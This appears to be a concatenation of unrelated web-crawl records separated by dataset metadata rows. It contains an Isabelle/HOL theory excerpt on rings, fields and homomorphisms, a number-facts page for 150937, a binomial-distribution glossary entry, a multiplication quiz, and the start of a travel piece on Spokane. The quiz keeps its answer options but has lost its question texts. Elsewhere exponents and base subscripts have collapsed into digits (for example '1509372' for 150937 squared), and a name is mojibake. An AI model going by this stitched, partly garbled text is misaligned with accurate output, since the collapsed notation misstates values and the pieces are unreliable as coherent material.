``` 616 assume "a \<in> carrier R" "b \<in> carrier R" "a \<otimes> b = \<zero>"
```
``` 617 then show "a = \<zero> \<or> b = \<zero>" by (simp add: integral)
```
``` 618 next
```
``` 619 assume "a \<in> carrier R" "b \<in> carrier R" "a = \<zero> \<or> b = \<zero>"
```
``` 620 then show "a \<otimes> b = \<zero>" by auto
```
``` 621 qed
```
``` 622
```
``` 623 lemma m_lcancel:
```
``` 624 assumes prem: "a \<noteq> \<zero>"
```
``` 625 and R: "a \<in> carrier R" "b \<in> carrier R" "c \<in> carrier R"
```
``` 626 shows "(a \<otimes> b = a \<otimes> c) = (b = c)"
```
``` 627 proof
```
``` 628 assume eq: "a \<otimes> b = a \<otimes> c"
```
``` 629 with R have "a \<otimes> (b \<ominus> c) = \<zero>" by algebra
```
``` 630 with R have "a = \<zero> \<or> (b \<ominus> c) = \<zero>" by (simp add: integral_iff)
```
``` 631 with prem and R have "b \<ominus> c = \<zero>" by auto
```
``` 632 with R have "b = b \<ominus> (b \<ominus> c)" by algebra
```
``` 633 also from R have "b \<ominus> (b \<ominus> c) = c" by algebra
```
``` 634 finally show "b = c" .
```
``` 635 next
```
``` 636 assume "b = c" then show "a \<otimes> b = a \<otimes> c" by simp
```
``` 637 qed
```
``` 638
```
``` 639 lemma m_rcancel:
```
``` 640 assumes prem: "a \<noteq> \<zero>"
```
``` 641 and R: "a \<in> carrier R" "b \<in> carrier R" "c \<in> carrier R"
```
``` 642 shows conc: "(b \<otimes> a = c \<otimes> a) = (b = c)"
```
``` 643 proof -
```
``` 644 from prem and R have "(a \<otimes> b = a \<otimes> c) = (b = c)" by (rule m_lcancel)
```
``` 645 with R show ?thesis by algebra
```
``` 646 qed
```
``` 647
```
``` 648 end
```
``` 649
```
``` 650
```
``` 651 subsection \<open>Fields\<close>
```
``` 652
```
``` 653 text \<open>Field would not need to be derived from domain, the properties
```
``` 654 for domain follow from the assumptions of field\<close>
```
``` 655
```
``` 656 lemma (in cring) cring_fieldI:
```
``` 657 assumes field_Units: "Units R = carrier R - {\<zero>}"
```
``` 658 shows "field R"
```
``` 659 proof
```
``` 660 from field_Units have "\<zero> \<notin> Units R" by fast
```
``` 661 moreover have "\<one> \<in> Units R" by fast
```
``` 662 ultimately show "\<one> \<noteq> \<zero>" by force
```
``` 663 next
```
``` 664 fix a b
```
``` 665 assume acarr: "a \<in> carrier R"
```
``` 666 and bcarr: "b \<in> carrier R"
```
``` 667 and ab: "a \<otimes> b = \<zero>"
```
``` 668 show "a = \<zero> \<or> b = \<zero>"
```
``` 669 proof (cases "a = \<zero>", simp)
```
``` 670 assume "a \<noteq> \<zero>"
```
``` 671 with field_Units and acarr have aUnit: "a \<in> Units R" by fast
```
``` 672 from bcarr have "b = \<one> \<otimes> b" by algebra
```
``` 673 also from aUnit acarr have "... = (inv a \<otimes> a) \<otimes> b" by simp
```
``` 674 also from acarr bcarr aUnit[THEN Units_inv_closed]
```
``` 675 have "... = (inv a) \<otimes> (a \<otimes> b)" by algebra
```
``` 676 also from ab and acarr bcarr aUnit have "... = (inv a) \<otimes> \<zero>" by simp
```
``` 677 also from aUnit[THEN Units_inv_closed] have "... = \<zero>" by algebra
```
``` 678 finally have "b = \<zero>" .
```
``` 679 then show "a = \<zero> \<or> b = \<zero>" by simp
```
``` 680 qed
```
``` 681 qed (rule field_Units)
```
``` 682
```
``` 683 text \<open>Another variant to show that something is a field\<close>
```
``` 684 lemma (in cring) cring_fieldI2:
```
``` 685 assumes notzero: "\<zero> \<noteq> \<one>"
```
``` 686 and invex: "\<And>a. \<lbrakk>a \<in> carrier R; a \<noteq> \<zero>\<rbrakk> \<Longrightarrow> \<exists>b\<in>carrier R. a \<otimes> b = \<one>"
```
``` 687 shows "field R"
```
``` 688 apply (rule cring_fieldI, simp add: Units_def)
```
``` 689 apply (rule, clarsimp)
```
``` 690 apply (simp add: notzero)
```
``` 691 proof (clarsimp)
```
``` 692 fix x
```
``` 693 assume xcarr: "x \<in> carrier R"
```
``` 694 and "x \<noteq> \<zero>"
```
``` 695 then have "\<exists>y\<in>carrier R. x \<otimes> y = \<one>" by (rule invex)
```
``` 696 then obtain y where ycarr: "y \<in> carrier R" and xy: "x \<otimes> y = \<one>" by fast
```
``` 697 from xy xcarr ycarr have "y \<otimes> x = \<one>" by (simp add: m_comm)
```
``` 698 with ycarr and xy show "\<exists>y\<in>carrier R. y \<otimes> x = \<one> \<and> x \<otimes> y = \<one>" by fast
```
``` 699 qed
```
``` 700
```
``` 701
```
``` 702 subsection \<open>Morphisms\<close>
```
``` 703
```
``` 704 definition
```
``` 705 ring_hom :: "[('a, 'm) ring_scheme, ('b, 'n) ring_scheme] => ('a => 'b) set"
```
``` 706 where "ring_hom R S =
```
``` 707 {h. h \<in> carrier R \<rightarrow> carrier S \<and>
```
``` 708 (\<forall>x y. x \<in> carrier R \<and> y \<in> carrier R \<longrightarrow>
```
``` 709 h (x \<otimes>\<^bsub>R\<^esub> y) = h x \<otimes>\<^bsub>S\<^esub> h y \<and> h (x \<oplus>\<^bsub>R\<^esub> y) = h x \<oplus>\<^bsub>S\<^esub> h y) \<and>
```
``` 710 h \<one>\<^bsub>R\<^esub> = \<one>\<^bsub>S\<^esub>}"
```
``` 711
```
``` 712 lemma ring_hom_memI:
```
``` 713 fixes R (structure) and S (structure)
```
``` 714 assumes "\<And>x. x \<in> carrier R \<Longrightarrow> h x \<in> carrier S"
```
``` 715 and "\<And>x y. \<lbrakk> x \<in> carrier R; y \<in> carrier R \<rbrakk> \<Longrightarrow> h (x \<otimes> y) = h x \<otimes>\<^bsub>S\<^esub> h y"
```
``` 716 and "\<And>x y. \<lbrakk> x \<in> carrier R; y \<in> carrier R \<rbrakk> \<Longrightarrow> h (x \<oplus> y) = h x \<oplus>\<^bsub>S\<^esub> h y"
```
``` 717 and "h \<one> = \<one>\<^bsub>S\<^esub>"
```
``` 718 shows "h \<in> ring_hom R S"
```
``` 719 by (auto simp add: ring_hom_def assms Pi_def)
```
``` 720
```
``` 721 lemma ring_hom_memE:
```
``` 722 fixes R (structure) and S (structure)
```
``` 723 assumes "h \<in> ring_hom R S"
```
``` 724 shows "\<And>x. x \<in> carrier R \<Longrightarrow> h x \<in> carrier S"
```
``` 725 and "\<And>x y. \<lbrakk> x \<in> carrier R; y \<in> carrier R \<rbrakk> \<Longrightarrow> h (x \<otimes> y) = h x \<otimes>\<^bsub>S\<^esub> h y"
```
``` 726 and "\<And>x y. \<lbrakk> x \<in> carrier R; y \<in> carrier R \<rbrakk> \<Longrightarrow> h (x \<oplus> y) = h x \<oplus>\<^bsub>S\<^esub> h y"
```
``` 727 and "h \<one> = \<one>\<^bsub>S\<^esub>"
```
``` 728 using assms unfolding ring_hom_def by auto
```
``` 729
```
``` 730 lemma ring_hom_closed:
```
``` 731 "\<lbrakk> h \<in> ring_hom R S; x \<in> carrier R \<rbrakk> \<Longrightarrow> h x \<in> carrier S"
```
``` 732 by (auto simp add: ring_hom_def funcset_mem)
```
``` 733
```
``` 734 lemma ring_hom_mult:
```
``` 735 fixes R (structure) and S (structure)
```
``` 736 shows "\<lbrakk> h \<in> ring_hom R S; x \<in> carrier R; y \<in> carrier R \<rbrakk> \<Longrightarrow> h (x \<otimes> y) = h x \<otimes>\<^bsub>S\<^esub> h y"
```
``` 737 by (simp add: ring_hom_def)
```
``` 738
```
``` 739 lemma ring_hom_add:
```
``` 740 fixes R (structure) and S (structure)
```
``` 741 shows "\<lbrakk> h \<in> ring_hom R S; x \<in> carrier R; y \<in> carrier R \<rbrakk> \<Longrightarrow> h (x \<oplus> y) = h x \<oplus>\<^bsub>S\<^esub> h y"
```
``` 742 by (simp add: ring_hom_def)
```
``` 743
```
``` 744 lemma ring_hom_one:
```
``` 745 fixes R (structure) and S (structure)
```
``` 746 shows "h \<in> ring_hom R S \<Longrightarrow> h \<one> = \<one>\<^bsub>S\<^esub>"
```
``` 747 by (simp add: ring_hom_def)
```
``` 748
```
``` 749 lemma ring_hom_zero:
```
``` 750 fixes R (structure) and S (structure)
```
``` 751 assumes "h \<in> ring_hom R S" "ring R" "ring S"
```
``` 752 shows "h \<zero> = \<zero>\<^bsub>S\<^esub>"
```
``` 753 proof -
```
``` 754 have "h \<zero> = h \<zero> \<oplus>\<^bsub>S\<^esub> h \<zero>"
```
``` 755 using ring_hom_add[OF assms(1), of \<zero> \<zero>] assms(2)
```
``` 756 by (simp add: ring.ring_simprules(2) ring.ring_simprules(15))
```
``` 757 thus ?thesis
```
``` 758 by (metis abelian_group.l_neg assms ring.is_abelian_group ring.ring_simprules(18) ring.ring_simprules(2) ring_hom_closed)
```
``` 759 qed
```
``` 760
```
``` 761 locale ring_hom_cring =
```
``` 762 R?: cring R + S?: cring S for R (structure) and S (structure) + fixes h
```
``` 763 assumes homh [simp, intro]: "h \<in> ring_hom R S"
```
``` 764 notes hom_closed [simp, intro] = ring_hom_closed [OF homh]
```
``` 765 and hom_mult [simp] = ring_hom_mult [OF homh]
```
``` 766 and hom_add [simp] = ring_hom_add [OF homh]
```
``` 767 and hom_one [simp] = ring_hom_one [OF homh]
```
``` 768
```
``` 769 lemma (in ring_hom_cring) hom_zero [simp]: "h \<zero> = \<zero>\<^bsub>S\<^esub>"
```
``` 770 proof -
```
``` 771 have "h \<zero> \<oplus>\<^bsub>S\<^esub> h \<zero> = h \<zero> \<oplus>\<^bsub>S\<^esub> \<zero>\<^bsub>S\<^esub>"
```
``` 772 by (simp add: hom_add [symmetric] del: hom_add)
```
``` 773 then show ?thesis by (simp del: S.r_zero)
```
``` 774 qed
```
``` 775
```
``` 776 lemma (in ring_hom_cring) hom_a_inv [simp]:
```
``` 777 "x \<in> carrier R \<Longrightarrow> h (\<ominus> x) = \<ominus>\<^bsub>S\<^esub> h x"
```
``` 778 proof -
```
``` 779 assume R: "x \<in> carrier R"
```
``` 780 then have "h x \<oplus>\<^bsub>S\<^esub> h (\<ominus> x) = h x \<oplus>\<^bsub>S\<^esub> (\<ominus>\<^bsub>S\<^esub> h x)"
```
``` 781 by (simp add: hom_add [symmetric] R.r_neg S.r_neg del: hom_add)
```
``` 782 with R show ?thesis by simp
```
``` 783 qed
```
``` 784
```
``` 785 lemma (in ring_hom_cring) hom_finsum [simp]:
```
``` 786 assumes "f: A \<rightarrow> carrier R"
```
``` 787 shows "h (\<Oplus> i \<in> A. f i) = (\<Oplus>\<^bsub>S\<^esub> i \<in> A. (h o f) i)"
```
``` 788 using assms by (induct A rule: infinite_finite_induct, auto simp: Pi_def)
```
``` 789
```
``` 790 lemma (in ring_hom_cring) hom_finprod:
```
``` 791 assumes "f: A \<rightarrow> carrier R"
```
``` 792 shows "h (\<Otimes> i \<in> A. f i) = (\<Otimes>\<^bsub>S\<^esub> i \<in> A. (h o f) i)"
```
``` 793 using assms by (induct A rule: infinite_finite_induct, auto simp: Pi_def)
```
``` 794
```
``` 795 declare ring_hom_cring.hom_finprod [simp]
```
``` 796
```
``` 797 lemma id_ring_hom [simp]: "id \<in> ring_hom R R"
```
``` 798 by (auto intro!: ring_hom_memI)
```
``` 799
```
``` 800 (* Next lemma contributed by Paulo EmÃlio de Vilhena. *)
```
``` 801
```
``` 802 lemma ring_hom_trans:
```
``` 803 "\<lbrakk> f \<in> ring_hom R S; g \<in> ring_hom S T \<rbrakk> \<Longrightarrow> g \<circ> f \<in> ring_hom R T"
```
``` 804 by (rule ring_hom_memI) (auto simp add: ring_hom_closed ring_hom_mult ring_hom_add ring_hom_one)
```
``` 805
```
``` 806 subsection\<open>Jeremy Avigad's @{text"More_Finite_Product"} material\<close>
```
``` 807
```
``` 808 (* need better simplification rules for rings *)
```
``` 809 (* the next one holds more generally for abelian groups *)
```
``` 810
```
``` 811 lemma (in cring) sum_zero_eq_neg: "x \<in> carrier R \<Longrightarrow> y \<in> carrier R \<Longrightarrow> x \<oplus> y = \<zero> \<Longrightarrow> x = \<ominus> y"
```
``` 812 by (metis minus_equality)
```
``` 813
```
``` 814 lemma (in domain) square_eq_one:
```
``` 815 fixes x
```
``` 816 assumes [simp]: "x \<in> carrier R"
```
``` 817 and "x \<otimes> x = \<one>"
```
``` 818 shows "x = \<one> \<or> x = \<ominus>\<one>"
```
``` 819 proof -
```
``` 820 have "(x \<oplus> \<one>) \<otimes> (x \<oplus> \<ominus> \<one>) = x \<otimes> x \<oplus> \<ominus> \<one>"
```
``` 821 by (simp add: ring_simprules)
```
``` 822 also from \<open>x \<otimes> x = \<one>\<close> have "\<dots> = \<zero>"
```
``` 823 by (simp add: ring_simprules)
```
``` 824 finally have "(x \<oplus> \<one>) \<otimes> (x \<oplus> \<ominus> \<one>) = \<zero>" .
```
``` 825 then have "(x \<oplus> \<one>) = \<zero> \<or> (x \<oplus> \<ominus> \<one>) = \<zero>"
```
``` 826 by (intro integral) auto
```
``` 827 then show ?thesis
```
``` 828 by (metis add.inv_closed add.inv_solve_right assms(1) l_zero one_closed zero_closed)
```
``` 829 qed
```
``` 830
```
``` 831 lemma (in domain) inv_eq_self: "x \<in> Units R \<Longrightarrow> x = inv x \<Longrightarrow> x = \<one> \<or> x = \<ominus>\<one>"
```
``` 832 by (metis Units_closed Units_l_inv square_eq_one)
```
``` 833
```
``` 834
```
``` 835 text \<open>
```
``` 836 The following translates theorems about groups to the facts about
```
``` 837 the units of a ring. (The list should be expanded as more things are
```
``` 838 needed.)
```
``` 839 \<close>
```
``` 840
```
``` 841 lemma (in ring) finite_ring_finite_units [intro]: "finite (carrier R) \<Longrightarrow> finite (Units R)"
```
``` 842 by (rule finite_subset) auto
```
``` 843
```
``` 844 lemma (in monoid) units_of_pow:
```
``` 845 fixes n :: nat
```
``` 846 shows "x \<in> Units G \<Longrightarrow> x [^]\<^bsub>units_of G\<^esub> n = x [^]\<^bsub>G\<^esub> n"
```
``` 847 apply (induct n)
```
``` 848 apply (auto simp add: units_group group.is_monoid
```
``` 849 monoid.nat_pow_0 monoid.nat_pow_Suc units_of_one units_of_mult)
```
``` 850 done
```
``` 851
```
``` 852 lemma (in cring) units_power_order_eq_one:
```
``` 853 "finite (Units R) \<Longrightarrow> a \<in> Units R \<Longrightarrow> a [^] card(Units R) = \<one>"
```
``` 854 by (metis comm_group.power_order_eq_one units_comm_group units_of_carrier units_of_one units_of_pow)
```
``` 855
```
``` 856 subsection\<open>Jeremy Avigad's @{text"More_Ring"} material\<close>
```
``` 857
```
``` 858 lemma (in cring) field_intro2: "\<zero>\<^bsub>R\<^esub> \<noteq> \<one>\<^bsub>R\<^esub> \<Longrightarrow> \<forall>x \<in> carrier R - {\<zero>\<^bsub>R\<^esub>}. x \<in> Units R \<Longrightarrow> field R"
```
``` 859 apply (unfold_locales)
```
``` 860 apply (use cring_axioms in auto)
```
``` 861 apply (rule trans)
```
``` 862 apply (subgoal_tac "a = (a \<otimes> b) \<otimes> inv b")
```
``` 863 apply assumption
```
``` 864 apply (subst m_assoc)
```
``` 865 apply auto
```
``` 866 apply (unfold Units_def)
```
``` 867 apply auto
```
``` 868 done
```
``` 869
```
``` 870 lemma (in monoid) inv_char:
```
``` 871 "x \<in> carrier G \<Longrightarrow> y \<in> carrier G \<Longrightarrow> x \<otimes> y = \<one> \<Longrightarrow> y \<otimes> x = \<one> \<Longrightarrow> inv x = y"
```
``` 872 apply (subgoal_tac "x \<in> Units G")
```
``` 873 apply (subgoal_tac "y = inv x \<otimes> \<one>")
```
``` 874 apply simp
```
``` 875 apply (erule subst)
```
``` 876 apply (subst m_assoc [symmetric])
```
``` 877 apply auto
```
``` 878 apply (unfold Units_def)
```
``` 879 apply auto
```
``` 880 done
```
``` 881
```
``` 882 lemma (in comm_monoid) comm_inv_char: "x \<in> carrier G \<Longrightarrow> y \<in> carrier G \<Longrightarrow> x \<otimes> y = \<one> \<Longrightarrow> inv x = y"
```
``` 883 by (simp add: inv_char m_comm)
```
``` 884
```
``` 885 lemma (in ring) inv_neg_one [simp]: "inv (\<ominus> \<one>) = \<ominus> \<one>"
```
``` 886 apply (rule inv_char)
```
``` 887 apply (auto simp add: l_minus r_minus)
```
``` 888 done
```
``` 889
```
``` 890 lemma (in monoid) inv_eq_imp_eq: "x \<in> Units G \<Longrightarrow> y \<in> Units G \<Longrightarrow> inv x = inv y \<Longrightarrow> x = y"
```
``` 891 apply (subgoal_tac "inv (inv x) = inv (inv y)")
```
``` 892 apply (subst (asm) Units_inv_inv)+
```
``` 893 apply auto
```
``` 894 done
```
``` 895
```
``` 896 lemma (in ring) Units_minus_one_closed [intro]: "\<ominus> \<one> \<in> Units R"
```
``` 897 apply (unfold Units_def)
```
``` 898 apply auto
```
``` 899 apply (rule_tac x = "\<ominus> \<one>" in bexI)
```
``` 900 apply auto
```
``` 901 apply (simp add: l_minus r_minus)
```
``` 902 done
```
``` 903
```
``` 904 lemma (in ring) inv_eq_neg_one_eq: "x \<in> Units R \<Longrightarrow> inv x = \<ominus> \<one> \<longleftrightarrow> x = \<ominus> \<one>"
```
``` 905 apply auto
```
``` 906 apply (subst Units_inv_inv [symmetric])
```
``` 907 apply auto
```
``` 908 done
```
``` 909
```
``` 910 lemma (in monoid) inv_eq_one_eq: "x \<in> Units G \<Longrightarrow> inv x = \<one> \<longleftrightarrow> x = \<one>"
```
``` 911 by (metis Units_inv_inv inv_one)
```
``` 912
```
``` 913 end
``` | 18,004 | 50,342 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.6875 | 3 | CC-MAIN-2019-18 | longest | en | 0.512837 |
https://numbermatics.com/n/150937/ | 1,685,824,669,000,000,000 | text/html | crawl-data/CC-MAIN-2023-23/segments/1685224649343.34/warc/CC-MAIN-20230603201228-20230603231228-00435.warc.gz | 482,776,915 | 6,026 | # 150937
## 150,937 is an odd composite number composed of two prime numbers multiplied together.
What does the number 150937 look like?
This visualization shows the relationship between its 2 prime factors (large circles) and 4 divisors.
150937 is an odd composite number. It is composed of two distinct prime numbers multiplied together. It has a total of four divisors.
## Prime factorization of 150937:
### 149 × 1013
See below for interesting mathematical facts about the number 150937 from the Numbermatics database.
### Names of 150937
• Cardinal: 150937 can be written as One hundred fifty thousand, nine hundred thirty-seven.
### Scientific notation
• Scientific notation: 1.50937 × 105
### Factors of 150937
• Number of distinct prime factors ω(n): 2
• Total number of prime factors Ω(n): 2
• Sum of prime factors: 1162
### Divisors of 150937
• Number of divisors d(n): 4
• Complete list of divisors:
• Sum of all divisors σ(n): 152100
• Sum of proper divisors (its aliquot sum) s(n): 1163
• 150937 is a deficient number, because the sum of its proper divisors (1163) is less than itself. Its deficiency is 149774
### Bases of 150937
• Binary: 1001001101100110012
• Base-36: 38GP
### Squares and roots of 150937
• 150937 squared (1509372) is 22781977969
• 150937 cubed (1509373) is 3438643408706953
• The square root of 150937 is 388.5061132081
• The cube root of 150937 is 53.2433334539
### Scales and comparisons
How big is 150937?
• 150,937 seconds is equal to 1 day, 17 hours, 55 minutes, 37 seconds.
• To count from 1 to 150,937 would take you about seventeen hours.
This is a very rough estimate, based on a speaking rate of half a second every third order of magnitude. If you speak quickly, you could probably say any randomly-chosen number between one and a thousand in around half a second. Very big numbers obviously take longer to say, so we add half a second for every extra x1000. (We do not count involuntary pauses, bathroom breaks or the necessity of sleep in our calculation!)
• A cube with a volume of 150937 cubic inches would be around 4.4 feet tall.
### Recreational maths with 150937
• 150937 backwards is 739051
• The number of decimal digits it has is: 6
• The sum of 150937's digits is 25
• More coming soon!
MLA style:
"Number 150937 - Facts about the integer". Numbermatics.com. 2023. Web. 3 June 2023.
APA style:
Numbermatics. (2023). Number 150937 - Facts about the integer. Retrieved 3 June 2023, from https://numbermatics.com/n/150937/
Chicago style:
Numbermatics. 2023. "Number 150937 - Facts about the integer". https://numbermatics.com/n/150937/
The information we have on file for 150937 includes mathematical data and numerical statistics calculated using standard algorithms and methods. We are adding more all the time. If there are any features you would like to see, please contact us. Information provided for educational use, intellectual curiosity and fun!
Keywords: Divisors of 150937, math, Factors of 150937, curriculum, school, college, exams, university, Prime factorization of 150937, STEM, science, technology, engineering, physics, economics, calculator, one hundred fifty thousand, nine hundred thirty-seven.
Oh no. Javascript is switched off in your browser.
Some bits of this website may not work unless you switch it on. | 870 | 3,317 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.5625 | 4 | CC-MAIN-2023-23 | latest | en | 0.85688 |
https://www.psyctc.org/psyctc/glossary2/binomial-distribution/ | 1,701,804,360,000,000,000 | text/html | crawl-data/CC-MAIN-2023-50/segments/1700679100555.27/warc/CC-MAIN-20231205172745-20231205202745-00097.warc.gz | 1,063,064,030 | 27,635 | # Binomial distribution
This probably doesn’t come up directly all that often in the therapy/MH literature but it underpins so much in statistics so I thought I should put it in here.
#### Details #
Basically it’s the distribution you expect if you do something with a binary outcome repeatedly and if the probability of the outcome you want is the same every time. Typical examples are tossing a coin wanting it to come up heads, rolling a die looking for a six or statistical tests coming up with p < .05 when in fact the null hypothesis applies. For each of those, if the process is “fair” the probabilities are 1 in 2, i.e. 1/2, i.e. 0.5; 1 in 6 = 1/6 ≃ 0.166667; and 1 in 20 = 1/20 = .05 respectively.
So if you do it just once you have a one in two chance of scoring 1 with the fair coin; a one in six chance of getting that six with the fair die and a one in twenty chance of a false positively significant result in that last (more pertinent example).
Well, actually, when you only do it once that’s not a very interesting end of the Binomial distribution, that’s also called a Bernoulli process or distribution. The Binomial includes this also covers when you do that sort of thing more than once. So the header image is a barchart of the number of sixes (i.e. score of 1) when you roll just one fair die. The bars are what happened doing that 200 times (and would be different the next time you did it 200 times: we’re talking about statistical, “stochastic” processes.
But what are the probabilities of scores of 0 (no sixes), 1 (just one six) or 2 (two sixes!) if you roll two dice? This is the binomial distribution.
That shows the expected frequencies from the binomial distribution in red and the counts from that particular throw of two dice 200 times. (OK, as you have probably guessed, I simulated it: much quicker than actually doing it with real dice!)
We can see that even with 200 throws the fit to the predicted numbers is not perfect, that’s the reality of statistical, stochastic, random processes. What about 10,000 throws?
Now the fit is very good, again, that’s what you expect as you increase your sample size assuming that you are sampling randomly from an infinite number of throws and if each throw is fair, which implies independent of any of the other throws: the bigger the sample size, the better the fit to the population distribution, here the binomial distribution.
We can see that the fit to the expected rates can be perhaps less good than you would imagine with 200 throws and also that the expected rate at which you’d see three sixes is not high: one in 216 (216 = 6x6x6). It seems it didn’t happen in those 200 throws. Here we go for some more multi-dice throws (in sets of 200!)
Just to go off on a slight tangent here: the “central limit theorem” and the Gaussian (“Normal”) distribution. As you can see there the binomial distribution has to be bounded by zero (no scores) and n where n is the number of dice, coins, statistical tests and can only take the integer values between zero and n. So it’s nothing like the Gaussian distribution which is continuous (i.e. not just integer values) and bounded by minus infinity and plus infinity. Clearly the binomial and Gaussian are very different but still you can see that as the number of dice went up, the binomial distribution starts to look a bit more Gaussian. Here’s the plot for 40 dice thrown 10,000 times (aching wrists!)
I’ve superimposed the Gaussian probabilities of those scores from zero to 40 based on the observed mean score (6.64) and SD (2.37). The fit is clearly not perfect but it can be seen that the two distributions are getting more similar. This is a phenomenon of the “Central Limit Theorem” (simplifying a bit). This says that as you take the mean of increasing numbers of scores the distribution of those means will get nearer and nearer to Gaussian. This is true pretty much regardless of the distribution of those scores. That’s a bit of a digression and there’s another dice related example of this in the entry for the Gaussian distribution but that example takes the simple scores (i.e. 1 to 6), not the number of sixes. This phenomenon is one reason why the Gaussian distribution not entirely unreasonably underpins classical “parametric statistics”.
#### Try also #
Distributions
Statistical tests, inferential testing
Estimation
Confidence intervals
Multiple tests problem
Gaussian (“Normal”) distribution
Central limit theorem
Parametric statistics
#### Chapters #
This doesn’t come directly into any chapter in the book but the logic of distributions, of the binomial distribution and others underpins things in Chapters 5 to 8.
#### Online resources #
Nothing really useful at this point
#### Dates #
First created 18.xi.23, links updated 20.xi.23. | 1,090 | 4,801 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.921875 | 4 | CC-MAIN-2023-50 | latest | en | 0.933158 |
http://www.gicgac.com/Firstset/Question/Practice_Free_Multiplication_with_end_0_Set_2_Questions_online.html | 1,716,679,951,000,000,000 | text/html | crawl-data/CC-MAIN-2024-22/segments/1715971058858.81/warc/CC-MAIN-20240525222734-20240526012734-00596.warc.gz | 35,403,145 | 4,470 | # Learn and Practice Free Multiplication with end 0 Set 2 questions
## You can get answer of the below sample questions by going through the above Question sets.
Option 1: 100
Option 2: 1000
Option 3: 10
Option 4: 0
Option 5:
Option 1: 11
Option 2: 22
Option 3: 110
Option 4: 0
Option 5:
Option 1: 6
Option 2: 7
Option 3: 8
Option 4: 9
Option 5:
Option 1: 110
Option 2: 120
Option 3: 130
Option 4: 111
Option 5:
Option 1: 1
Option 2: 10
Option 3: 100
Option 4: 1000
Option 5:
Option 1: 1
Option 2: 0
Option 3: 10
Option 4: 100
Option 5:
Option 1: 2
Option 2: 3
Option 3: 4
Option 4: 5
Option 5:
Option 1: 1
Option 2: 10
Option 3: 100
Option 4: 1000
Option 5:
Option 1: 11
Option 2: 22
Option 3: 110
Option 4: 1100
Option 5:
#### Multiply: 3 × 0 = ?
Option 1: 10
Option 2: 0
Option 3: 100
Option 4: 30
Option 5:
Practice Free Multiplication with end 0 Set 2 Questions online
By Practicing the below question set :
The student will get the basic and advanced knowledge on Multiplication with end 0 Set 2.
The student will learned the priciples and methedology of Multiplication with end 0 Set 2.
The student will evaluate the knowledge level on Multiplication with end 0 Set 2.
Student can practice number of times the question till he is clear.
Student can provide the review / feedback / suggestion on the questions which will help to others.
The question contains the simple to complex level difficulties so that student can improve the knowledge. | 500 | 1,462 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.953125 | 3 | CC-MAIN-2024-22 | latest | en | 0.743308 |
https://bosshv.com/how-far-is-spokane/ | 1,709,223,449,000,000,000 | text/html | crawl-data/CC-MAIN-2024-10/segments/1707947474843.87/warc/CC-MAIN-20240229134901-20240229164901-00287.warc.gz | 138,792,651 | 10,962 | # How Far Is Spokane?
If you’re wondering just how far Spokane is from your current location, buckle up and get ready for an exciting adventure through the world of distances! Determining the distance between two places may seem like a mundane task, but it can actually be quite fascinating. So let’s embark on this journey filled with quirky facts, useful tips, and some unexpected surprises.
## A Brief Introduction to Spokane
Before we dive into the nitty-gritty details of the distance between you and Spokane, let’s quickly introduce this captivating city. Nestled in the eastern part of Washington state in the United States, Spokane is a thriving urban center surrounded by breathtaking natural beauty. From its vibrant downtown area to its awe-inspiring riverfront park, it truly has something for everyone.
## Understanding Distances – It’s Not All About Miles
When discussing distances, most people tend to think solely about miles or kilometers. However, there are various other ways to express geographical separations that might surprise you. For instance, did you know that some people measure distance in terms of travel time? Rather than focusing on a fixed number of miles or kilometers, they consider how long it would take to reach their destination based on factors such as traffic conditions and speed limits.
### Travel Time: The Unconventional Metric
While measuring distance by travel time might not be as precise as using actual mileage figures (after all, who wants their trip length determined solely by heavy traffic?), it does provide a more realistic estimate of your journey’s duration. Instead of fixating on covering specific lengths in miles or kilometers, travelers can focus on enjoying the ride, exploring new scenery along the way without constantly peering at their GPS devices.
## Calculating Distance: More Than Just Crow Flies
Now that we’ve touched upon various methods of gauging distances let us explore how we traditionally measure distances between two points – straight lines! Sounds simple enough, right? Just connect the dots and voilà! Well, not quite.
When calculating distances, especially for travel purposes, it’s important to consider the actual route you’ll be taking. After all, most of us don’t have a set of wings sprouting from our backs like those majestic crows. So we rely on roads, highways, and sometimes even back alleys to reach our destinations.
To determine the distance between two places realistically, we use GPS systems or map applications that cleverly calculate the shortest (and quickest) routes available. These technological marvels account for traffic lights, road conditions and sometimes even consider avoiding congested areas – all in an effort to get us from point A to point B without pulling out our hair along the way.
## Where Are You Starting From?
To accurately gauge how far Spokane is from your location, it’s crucial(yes! Crucial)to know where you’re starting from. If you’re already in Washington state or nearby regions such as Oregon or Idaho (hello local neighbors!), your journey will undoubtedly be shorter than if you were located on another continent altogether.
Let’s take a closer look at some examples:
### Example 1: Seattle
